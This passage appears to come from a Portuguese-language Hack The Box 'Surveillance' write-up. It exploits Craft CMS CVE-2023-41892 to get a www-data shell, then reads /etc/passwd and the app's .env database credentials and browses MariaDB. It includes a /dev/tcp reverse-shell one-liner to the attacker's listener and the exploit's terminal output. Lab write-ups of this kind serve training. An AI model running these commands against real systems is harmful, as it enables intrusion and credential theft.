&lt;p&gt;Buscando por vulnerabilidades encontramos a &lt;a href="https://blog.calif.io/p/craftcms-rce" rel="noopener noreferrer"&gt;CVE-2023-41892&lt;/a&gt; que é um Remote Code Execution. &lt;br&gt;
Essa vulnerabilidade recebeu um score perfeito 10 de 10 no Common Vulnerability Scoring System (CVSS), é um Pre-Auth RCE que pode ser executado de forma totalmente remota.&lt;/p&gt;

&lt;p&gt;Aqui temos uma proof-of-concept criada em python:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226" rel="noopener noreferrer"&gt;https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Com esta poc conseguimos acesso via shell com o usuário &lt;strong&gt;www-data&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
&lt;span class="o"&gt;[&lt;/span&gt;-] Get temporary folder and document root ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Write payload to temporary file ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Trigger imagick to write shell ...
&lt;span class="o"&gt;[&lt;/span&gt;-] Done, enjoy the shell
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como temos um shell com poucos recursos, vamos abrir em outra aba o &lt;a href="https://pwncat.org/" rel="noopener noreferrer"&gt;pwncat&lt;/a&gt;, que é um shell com diversas funções:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora vamos criar um arquivo chamado &lt;strong&gt;rev.sh&lt;/strong&gt; em nosso alvo com o seguinte conteúdo e executar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat /tmp/rev.sh
sh -i 5&amp;lt;&amp;gt; /dev/tcp/10.10.14.229/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5
$ bash /tmp/rev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso temos nosso reserve shell no pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;17:00:52] received connection from 10.129.39.90:48380                                                                                    bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                                                manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;17:01:00] 10.129.39.90:48380: registered new host w/ db                                                                              manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                                                    
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/web/cpresources&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com acesso podemos realizar uma enumeração e visualizando os usuários:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos três usuários: &lt;strong&gt;matthew&lt;/strong&gt;, &lt;strong&gt;zoneminder&lt;/strong&gt; e &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Buscando arquivos sensíveis encontramos o arquivo &lt;strong&gt;.env&lt;/strong&gt;, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .env
&lt;span class="c"&gt;# Read about configuration, here:&lt;/span&gt;
&lt;span class="c"&gt;# https://craftcms.com/docs/4.x/config/&lt;/span&gt;

&lt;span class="c"&gt;# The application ID used to to uniquely store session and cache data, mutex locks, and more&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_APP_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

&lt;span class="c"&gt;# The environment Craft is currently running in (dev, staging, production, etc.)&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_ENVIRONMENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;production

&lt;span class="c"&gt;# The secure key Craft will use for hashing and encrypting data&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_SECURITY_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

&lt;span class="c"&gt;# Database connection settings&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_DB_DRIVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql
&lt;span class="nv"&gt;CRAFT_DB_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;127.0.0.1
&lt;span class="nv"&gt;CRAFT_DB_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3306
&lt;span class="nv"&gt;CRAFT_DB_DATABASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;craftdb
&lt;span class="nv"&gt;CRAFT_DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;craftuser
&lt;span class="nv"&gt;CRAFT_DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CraftCMSPassword2023!
&lt;span class="nv"&gt;CRAFT_DB_SCHEMA&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_DB_TABLE_PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;

&lt;span class="c"&gt;# General settings (see config/general.php)&lt;/span&gt;
&lt;span class="nv"&gt;DEV_MODE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;&lt;span class="nv"&gt;ALLOW_ADMIN_CHANGES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;&lt;span class="nv"&gt;DISALLOW_ROBOTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false

&lt;/span&gt;&lt;span class="nv"&gt;PRIMARY_SITE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://surveillance.htb/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enumerando as portas abertas no host alvo notamos que existe um &lt;strong&gt;mysql&lt;/strong&gt; na porta &lt;strong&gt;3306&lt;/strong&gt; e outra aplicação na porta &lt;strong&gt;8080&lt;/strong&gt;, ambas rodando localmente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;netstat &lt;span class="nt"&gt;-nltp&lt;/span&gt;
Active Internet connections &lt;span class="o"&gt;(&lt;/span&gt;only servers&lt;span class="o"&gt;)&lt;/span&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      991/nginx: worker p
tcp        0      0 0.0.0.0:22              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      991/nginx: worker p
tcp        0      0 127.0.0.1:3306          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp6       0      0 :::22                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com os dados que conseguimos podemos acessar o banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;surveillance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;craft&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;craftuser&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="mi"&gt;3306&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Welcome&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="n"&gt;monitor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;  &lt;span class="n"&gt;Commands&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="k"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;20621&lt;/span&gt;
&lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="k"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;MariaDB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;ubuntu0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;Ubuntu&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;

&lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Oracle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt; &lt;span class="n"&gt;Ab&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;others&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="k"&gt;Type&lt;/span&gt; &lt;span class="s1"&gt;'help;'&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\h&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="k"&gt;Type&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\c&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;clear&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;current&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt; &lt;span class="k"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Database&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;craftdb&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Reading&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;information&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;completion&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt; &lt;span class="k"&gt;names&lt;/span&gt;
&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;turn&lt;/span&gt; &lt;span class="k"&gt;off&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;feature&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="k"&gt;get&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;quicker&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;

&lt;span class="k"&gt;Database&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt;
&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Tables_in_craftdb&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;addresses&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;announcements&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assetindexdata&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assetindexingsessions&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assets&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categories&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categorygroups&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categorygroups_sites&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;changedattributes&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;changedfields&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;craftidtokens&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;deprecationerrors&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;drafts&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;elements_sites&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;entries&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;entrytypes&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldgroups&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayoutfields&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayouts&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayouttabs&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;globalsets&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;gqlschemas&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;gqltokens&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;imagetransformindex&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;imagetransforms&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;                       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocks&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocks_owners&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocktypes&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;migrations&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;plugins&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;projectconfig&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;relations&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;resourcepaths&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;revisions&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;searchindex&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sections&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sections_sites&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sequences&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;shunnedmessages&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sitegroups&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sites&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;structureelements&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;structures&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
